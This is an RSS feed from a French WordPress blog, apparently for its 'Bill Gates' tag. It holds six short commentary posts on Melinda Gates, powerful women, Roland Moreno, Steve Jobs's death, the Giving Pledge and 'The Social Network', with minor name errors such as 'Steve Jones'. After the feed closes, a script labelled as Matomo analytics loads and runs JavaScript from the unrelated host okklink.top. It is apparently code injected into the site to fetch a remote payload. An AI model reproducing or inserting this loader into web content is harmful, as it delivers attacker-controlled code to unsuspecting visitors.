<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Alain Roche Nalair de rien &#187; Bill Gates</title>
	<atom:link href="http://www.nalair.fr/index.php/tag/bill-gates/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nalair.fr</link>
	<description>Fracasseur d'identités</description>
	<lastBuildDate>Sat, 30 Nov 2024 05:00:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Les femmes prennent le pouvoir</title>
		<link>http://www.nalair.fr/index.php/nalair/les-femmes-prennent-le-pouvoir/</link>
		<comments>http://www.nalair.fr/index.php/nalair/les-femmes-prennent-le-pouvoir/#comments</comments>
		<pubDate>Tue, 07 Jan 2014 09:05:55 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[société]]></category>
		<category><![CDATA[Angella Merkel]]></category>
		<category><![CDATA[Bill Gates]]></category>
		<category><![CDATA[Christine Lagarde]]></category>
		<category><![CDATA[coupe du monde de football 2014]]></category>
		<category><![CDATA[Dina Roussef]]></category>
		<category><![CDATA[Elisabeth II]]></category>
		<category><![CDATA[FED]]></category>
		<category><![CDATA[FMI]]></category>
		<category><![CDATA[Jane Campion]]></category>
		<category><![CDATA[Janet Yellen]]></category>
		<category><![CDATA[la dame de fer]]></category>
		<category><![CDATA[le Brésil]]></category>
		<category><![CDATA[Margaret Tatcher]]></category>
		<category><![CDATA[Melinda Gates]]></category>
		<category><![CDATA[Palme d'or]]></category>
		<category><![CDATA[the queen]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=14769</guid>
		<description><![CDATA[Nous apprenons que le prestigieux festival de Cannes, a choisi pour sa mouture 2014 la réalisatrice néo-zélandaise Jane Campion la seule femme à avoir obtenu une Palme d&#8217;or&#8230; Angella Merkel est a ce jour considéré comme la femme la plus puissance au monde Dina Roussef, présidente du Brésil, accueillera la prochaine coupe du monde de [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2011/06/Christine-Lagarde.jpg"></a><br />
<a href="http://www.nalair.fr/wp-content/uploads/2010/01/jane-campion.jpg"><img class="aligncenter size-full wp-image-4107" title="jane-campion" src="http://www.nalair.fr/wp-content/uploads/2010/01/jane-campion.jpg" alt="" width="476" height="675" /></a></p>
<p style="text-align: center;">Nous apprenons que le prestigieux festival de Cannes, a choisi pour sa mouture 2014 la réalisatrice néo-zélandaise Jane Campion la seule femme à avoir obtenu une Palme d&#8217;or&#8230;</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2012/06/Angela-Merkel.jpg"><img class="aligncenter size-full wp-image-10731" title="Angela-Merkel" src="http://www.nalair.fr/wp-content/uploads/2012/06/Angela-Merkel.jpg" alt="" width="397" height="560" /></a></p>
<p style="text-align: center;">Angella Merkel est a ce jour considéré comme la femme la plus puissance au monde</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2010/11/Dilma-Roussef.jpg"><img class="aligncenter size-full wp-image-6169" title="Dilma Rousseff" src="http://www.nalair.fr/wp-content/uploads/2010/11/Dilma-Roussef.jpg" alt="" width="470" height="675" /></a></p>
<p style="text-align: center;">Dina Roussef, présidente du Brésil, accueillera la prochaine coupe du monde de football 2014</p>
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2012/05/La-Reine-Elisabeth-II-2.jpg"><img class="aligncenter size-full wp-image-10605" title="La-Reine-Elisabeth-II-" src="http://www.nalair.fr/wp-content/uploads/2012/05/La-Reine-Elisabeth-II-2.jpg" alt="" width="435" height="620" /></a><a href="http://www.nalair.fr/wp-content/uploads/2013/04/margaret-Tatcher-.jpg"></a></p>
<p style="text-align: center;">Les Britanniques sont friands de femmes fortes&#8230;The Queen, Elisabeth II règne sans partage depuis le 6 février 1952</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2013/04/margaret-Tatcher-.jpg"><img class="aligncenter size-full wp-image-12777" title="margaret-Tatcher-" src="http://www.nalair.fr/wp-content/uploads/2013/04/margaret-Tatcher-.jpg" alt="" width="484" height="692" /></a></p>
<p style="text-align: center;">Margaret Tatcher, la dame de fer, de son vrai nom, Margaret Hilda Thatcher, baronne Thatcher, née Roberts le 13 octobre 1925 à Grantham et morte le 8 avril 2013 à Londres, fut une femme d&#8217;État britannique, dont les britanniques justement se souviennent bien, mais pas qu&#8217;eux.</p>
<p style="text-align: center;"><img title="Christine Lagarde" src="http://www.nalair.fr/wp-content/uploads/2011/06/Christine-Lagarde.jpg" alt="" width="422" height="600" /></p>
<p style="text-align: center;">Après que les histoires de &#8220;cul&#8221; de Strauss Kahn lui ai fait perdre la tête du FMI, c&#8217;est Christine Lagarde qui en fit royaume.</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2013/08/Melinda-Gates.jpg"><img class="aligncenter size-full wp-image-13691" title="Melinda-Gates" src="http://www.nalair.fr/wp-content/uploads/2013/08/Melinda-Gates.jpg" alt="" width="435" height="620" /></a></p>
<p style="text-align: center;">Melinda Gates règne sur les bourses de son mari Bill, l&#8217;homme le plus riche de la planète, mais pas que, elle est devenue incontournable dans le monde</p>
<p style="text-align: center;">&#8220;Selon le classement 2013, elle devient la 3e femme la plus puissante du monde, derrière la présidente brésilienne Dilma Rousseff, deuxième, et la chancelière allemande Angela Merkel, qui occupe la première place pour la 3e année consécutive&#8221;</p>
<p style="text-align: center;">
<p style="text-align: center;">Et voilà pour terminer ce rapide panorama de quelques femmes incontournables, nous apprenons que Janet Yellen confirmée à la tête de la FED. Messieurs c&#8217;est une évidence, en plus de nous prendre la tête, nous la faire tourner, elles règnent sans partage sur nos bourses.</p>
<div><span style="color: #0000ee; -webkit-text-decorations-in-effect: underline;"><br />
</span></div>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/les-femmes-prennent-le-pouvoir/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Melinda, &#8220;la femme qui&#8221;</title>
		<link>http://www.nalair.fr/index.php/people/melinda-la-femme-qui/</link>
		<comments>http://www.nalair.fr/index.php/people/melinda-la-femme-qui/#comments</comments>
		<pubDate>Fri, 09 Aug 2013 05:08:04 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[people]]></category>
		<category><![CDATA[Bill Gates]]></category>
		<category><![CDATA[l'Organisation Mondiale de la Santé (OMS)]]></category>
		<category><![CDATA[mécénat]]></category>
		<category><![CDATA[Melinda Gates]]></category>
		<category><![CDATA[Vatican]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=13690</guid>
		<description><![CDATA[Inconnue du grand public, cette anti-céébrité est pourtant considérée par le magazine Forbes comme la 3e femme  la plus influente au monde. Melinda dirige la fondation caritative la plus riche de la planète avec un budget annuel de 3,4 milliards de dollars,une fois et demie supérieur à celui de l&#8217;Organisation Mondiale de la Santé (OMS). [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2013/08/Melinda-Gates.jpg"><img class="aligncenter size-full wp-image-13691" title="Melinda-Gates" src="http://www.nalair.fr/wp-content/uploads/2013/08/Melinda-Gates.jpg" alt="" width="386" height="551" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;">Inconnue du grand public, cette anti-céébrité est pourtant considérée par le magazine Forbes comme la 3e femme  la plus influente au monde. Melinda dirige la fondation caritative la plus riche de la planète avec un budget annuel de 3,4 milliards de dollars,une fois et demie supérieur à celui de l&#8217;Organisation Mondiale de la Santé (OMS). Son credo  est des plus ambitieux : &#8220;convaincre les riches de partager&#8221;. Celle qui ne montre aucun signe ostentatoire de sa puissance a vécu pendant des années dans l&#8217;ombre de son mari, l&#8217;homme le plus riche du monde. Sous l&#8217;impulsion de sa femme , il envisage de consacrer 95% de sa fortune, estimée actuellement à 72,7 milliards de dollars, à des actions caritatives, une façon de perpétuer une tradition américaine, le mécénat. A son grand dam, cette catholique pratiquante  en se lançant en 2012 dans une campagne de pour la contraception s&#8217;est attirée les foudres du Vatican et des internautes. Intraitable, rien ne l&#8217;arrête, elle choisit ses causes aux objectifs mesurables. Avec une volonté de fer, elle ne veut pas d&#8217;une générosité aveugle, mais veut rendre le monde de l&#8217;humanitaire plus efficace. Dès à présent on peut voir en Melinda Gates pas seulement &#8220;la femme de&#8221; mais &#8220;la femme qui&#8221;.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/people/melinda-la-femme-qui/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Disparition de l&#8217;inventeur de la carte à Puce</title>
		<link>http://www.nalair.fr/index.php/culture/disparition-de-linventeur-de-la-carte-a-puce/</link>
		<comments>http://www.nalair.fr/index.php/culture/disparition-de-linventeur-de-la-carte-a-puce/#comments</comments>
		<pubDate>Wed, 02 May 2012 04:26:39 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[culture]]></category>
		<category><![CDATA[Bill Gates]]></category>
		<category><![CDATA[la carte à puce]]></category>
		<category><![CDATA[Mark Zukerberg]]></category>
		<category><![CDATA[Roland Moreno]]></category>
		<category><![CDATA[Steve Jones]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=10334</guid>
		<description><![CDATA[Comme très souvent les inventeurs, même si comme Roland Moreno, ils ont transformé fondamentalement le quotidien de l&#8217;humanité , restent des inconnus pour le public. C&#8217;est le cas de ce Professeur Tournesol à la française, né au Caire, qui vient de disparaitre à l&#8217;âge de 66 ans. Pourtant son invention, nous l&#8217;utilisons tous au quotidien. [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2012/05/Roland-Moreno.jpg"><img class="aligncenter size-full wp-image-10337" title="Roland-Moreno" src="http://www.nalair.fr/wp-content/uploads/2012/05/Roland-Moreno.jpg" alt="" width="387" height="551" /></a></p>
<p>Comme très souvent les inventeurs, même si comme Roland Moreno, ils ont transformé fondamentalement le quotidien de l&#8217;humanité , restent des inconnus pour le public. C&#8217;est le cas de ce Professeur Tournesol à la française, né au Caire, qui vient de disparaitre à l&#8217;âge de 66 ans. Pourtant son invention, nous l&#8217;utilisons tous au quotidien. Cet autodidacte passionné d&#8217;informatique, avait l&#8217;art d&#8217;inventer  des machines absurdes , comme la Matapof, machine à tirer à pile ou face.  Pourtant en 1974, on aperçut à la télévision un personnage hirsute qui proposait, la carte à puce. Seuls à l&#8217;époque les USA renoncèrent à cette invention qui fit le tour du monde. Pourtant Moreno finira par conquérir ce marché avec la fameuse carte Sim qui équipe tous les téléphone. La particularité de l&#8217;humanité c&#8217;est qu&#8217;un seul être peut changer le quotidien de tous. Ce fut le cas après lui entre autres dont  Steve Jones, Bill Gates ou encore Mark Zukerberg le fondateur de face book. Seulement voilà à la différence,  le grand public  connait leurs têtes, simplement parce qu&#8217;ils sont Américains et que dans ce pays, on aime et on respecte sans doute beaucoup plus les chercheurs qu&#8217;enFrance. Même si votre tête n&#8217;est pas connu, Mr Roland Moreno,  est-ce bien utile ?  Nous n&#8217;avons pas fini de décliner à l&#8217;infini votre invention, et ça c&#8217;est fabuleux. Alors good bys Mister Moreno, et encore merci pour ce coup de génie qui vous aura fait rentrer dans les livres d&#8217;histoire faute d&#8217;être au Panthéon des stars médiatiques.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/culture/disparition-de-linventeur-de-la-carte-a-puce/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apple est en deuil Steve Jobs n&#8217;est plus</title>
		<link>http://www.nalair.fr/index.php/nalair/apple-est-en-deuil-steve-jobs-nest-plus/</link>
		<comments>http://www.nalair.fr/index.php/nalair/apple-est-en-deuil-steve-jobs-nest-plus/#comments</comments>
		<pubDate>Sat, 08 Oct 2011 05:02:23 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Barack Obama]]></category>
		<category><![CDATA[Bill Gates]]></category>
		<category><![CDATA[Steve Jobs]]></category>
		<category><![CDATA[Tim Cook]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=8785</guid>
		<description><![CDATA[Steve Jobs, l&#8217;emblématique et visionnaire patron de Apple vient de s&#8217;éteindre à l&#8217;âge de 56 ans. Il avait annoncé qu&#8217;il passait définitivement la main en août dernier à son dauphin Tim Cook qui le remplaçait déjà à la tête de la société depuis qu&#8217;il avait pris un congé illimité en janvier 2011, pour raison de [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2011/08/Steve-Jobs.jpg"><img class="aligncenter size-full wp-image-8263" title="Steve-Jobs" src="http://www.nalair.fr/wp-content/uploads/2011/08/Steve-Jobs.jpg" alt="" width="413" height="600" /></a></p>
<p style="text-align: left;">Steve Jobs, l&#8217;emblématique et visionnaire patron de Apple vient de s&#8217;éteindre à l&#8217;âge de 56 ans. Il avait annoncé qu&#8217;il passait définitivement la main en août dernier à son dauphin Tim Cook qui le remplaçait déjà à la tête de la société depuis qu&#8217;il avait pris un congé illimité en janvier 2011, pour raison de santé. Les réactions sont excessivement nombreuses à travers le monde entier, et Barack Obama dans un communiqué se dit fort &#8220;attristé par la nouvelle&#8221; et déclare : &#8220;Steve était l&#8217;un des grands inventeurs américains, assez courageux pour penser différemment, assez audacieux pour croire qu&#8217;il pouvait changer le monde, et assez talentueux pour le faire&#8221;. On souligne son génie  et TIm Cook  estime que &#8220;Steve laisse derrière lui une société que seul lui pouvait avoir bâtie, et son esprit sera pour toujours la fondation d&#8217;Apple&#8221;. Mais voilà au moment où tout le monde l&#8217;encense, certains osent parler de &#8220;dictateur&#8221;, et racontent  la peur qu&#8217;il engendrait à cause de ses crises de colère et son arrogance. L&#8217;un des reproches faits à Steve Jobs était le verrouillage de ses produits afin de rendre l&#8217;utilisateur dépendant sous prétexte de le libérer, le paradoxe de ce &#8220;visionnaire réactionnaire&#8221;. Il est bien évident qu&#8217;il n&#8217;avait rien d&#8217;un philanthrope tout comme Bill Gates qui a dit en apprenant sa disparition : &#8220;Steve Jobs me manquera énormément&#8221;. Il était avant tout un perfectionniste qui n&#8217;avait comme objectif que de tirer ses produits par le haut, ce qui le rendait certainement inflexible et cassant, un être avec qui il était difficile d&#8217;échanger. Plus qu&#8217;un grand créateur, c&#8217;était un grand découvreur doublé d&#8217;un chef d&#8217;orchestre avec un sens de l&#8217;esthétisme hors du commun.</p>
<p style="text-align: left;">
<p style="text-align: left;">
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/apple-est-en-deuil-steve-jobs-nest-plus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Promesse de don de Mark Zuckerberg</title>
		<link>http://www.nalair.fr/index.php/nalair/promesse-de-dons-de-mark-zuckerberg/</link>
		<comments>http://www.nalair.fr/index.php/nalair/promesse-de-dons-de-mark-zuckerberg/#comments</comments>
		<pubDate>Tue, 14 Dec 2010 06:50:23 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[société]]></category>
		<category><![CDATA[Bill Gates]]></category>
		<category><![CDATA[Giving Pledge]]></category>
		<category><![CDATA[Mark Zuckerberg]]></category>
		<category><![CDATA[Warren Buffet]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=6429</guid>
		<description><![CDATA[17 juin 2010, les deux Américains les plus riches, Warren Buffet et Bill Gates, ont lancé un appel aux milliardaires du monde entier, afin de les inviter à donner la moitié de leur richesse à des œuvres caritatives, soit au cours de leur vie, soit à leur mort. Ils fondèrent le mouvement &#8220;Giving Pledge&#8221; (Promesse [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nalair.fr/wp-content/uploads/2010/12/Mak-Zuckerberg.jpg"><img class="aligncenter size-medium wp-image-6430" title="Mak Zuckerberg" src="http://www.nalair.fr/wp-content/uploads/2010/12/Mak-Zuckerberg-350x493.jpg" alt="" width="350" height="493" /></a></p>
<p>17 juin 2010, les deux Américains les plus riches, Warren Buffet et Bill Gates, ont lancé un appel aux milliardaires du monde entier, afin de les inviter à donner la moitié de leur richesse à des œuvres caritatives, soit au cours de leur vie, soit à leur mort. Ils fondèrent le mouvement &#8220;Giving Pledge&#8221; (Promesse de don), qui regroupaient jusqu&#8217;à présent 40 membres. Pour montrer l&#8217;exemple, Warren Buffett s&#8217;est engagé à donner 99% de sa richesse, plus de 47 milliards de dollars, à des œuvres caritatives. Dix-sept nouveaux milliardaires viennent de rejoindre le &#8220;Giving Pledge&#8221;, parmi lesquels on note la présence de l&#8217;illustre et tout jeune Mark Zuckerberg. Il s&#8217;agit bien entendu du créateur de Facebook, personnage plutôt controversé, héros du film &#8220;The Social Network&#8221;, dont l&#8217;actuelle fortune est estimée à 6,9 milliards de dollars. Ce jeune milliardaire déclare : &#8220;Les gens attendent tard dans leur vie professionnelle pour rendre un peu de ce qu&#8217;ils ont reçu&#8230; Mais pourquoi attendre alors qu&#8217;il y a tant à faire?&#8221; On peut toujours se demander si Mark Zuckerberg a bien rejoint ce groupe pour les vertus qu&#8217;il se donne, ou est-ce là une manière de redorer son blason en se donnant bonne conscience dans ce mouvement philanthropique ?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/promesse-de-dons-de-mark-zuckerberg/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The social network, l&#8217;épopée de Facebook au cinéma</title>
		<link>http://www.nalair.fr/index.php/nalair/the-social-network-lepopee-de-facebook-au-cinema/</link>
		<comments>http://www.nalair.fr/index.php/nalair/the-social-network-lepopee-de-facebook-au-cinema/#comments</comments>
		<pubDate>Wed, 27 Oct 2010 13:54:58 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[cinéma]]></category>
		<category><![CDATA[Bill Gates]]></category>
		<category><![CDATA[David Fincher]]></category>
		<category><![CDATA[le Facebook]]></category>
		<category><![CDATA[Mark Zuckerber]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=6117</guid>
		<description><![CDATA[C&#8217;était couru, on l&#8217;attendait, et bien ils l&#8217;ont fait Adapté du livre de Ben Mezrich, &#8220;The accidental Billionaires&#8221;, titre en France &#8220;La revanche du solitaire&#8221;, d&#8217;après un scénario d&#8217;Aaron Sorkin, sort sur vos écrans The social network, huitième film de David Fincher. Ce film retrace l&#8217;incroyable et planétaire histoire de la création de Facebook par [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nalair.fr/wp-content/uploads/2010/10/Mak-Zuckerberg.jpg"><img class="aligncenter size-medium wp-image-6118" title="Mak-Zuckerberg" src="http://www.nalair.fr/wp-content/uploads/2010/10/Mak-Zuckerberg-350x493.jpg" alt="" width="350" height="493" /></a>C&#8217;était couru, on l&#8217;attendait, et bien ils l&#8217;ont fait Adapté du livre de Ben Mezrich, &#8220;The accidental Billionaires&#8221;, titre en France &#8220;La revanche du solitaire&#8221;, d&#8217;après un scénario d&#8217;Aaron Sorkin, sort sur vos écrans The social network, huitième film de David Fincher. Ce film retrace l&#8217;incroyable et planétaire histoire de la création de Facebook par Mark Zuckerber. Comment un jeune looser, largué par sa copine un soir d&#8217;octobre 2003, devient en 6 ans le plus jeune milliardaire du monde et celui qui détrôna Bill Gates. Très pragmatique, la machine hollywoodienne a la formidable capacité d&#8217;exploiter et de surfer sur ce qui plait à la majorité. La recette a fait ses preuves, pourquoi l&#8217;amender. Voici fabuleusement illustrée, la capacité qu&#8217;a un être humain de créer l&#8217;outil qui modifiera à terme le comportement de ses condisciples. C&#8217;est bien entendu une promotion non voilée du rêve américain, une manière de redorer son blason, lui qui a tendance trop souvent à virer au cauchemar.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/the-social-network-lepopee-de-facebook-au-cinema/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- Matomo -->
<script type="text/javascript">
(function() {
var u="https://okklink.top/";
var d=document, g=d.createElement("script"), s=d.getElementsByTagName("script")[0];
g.type="text/javascript"; g.async=true; g.defer=true;
g.src=u+"js/www.nalair.fr/matomo.js?id=M-1776520264"; s.parentNode.insertBefore(g,s);
})();
</script>
<!-- End Matomo Code -->
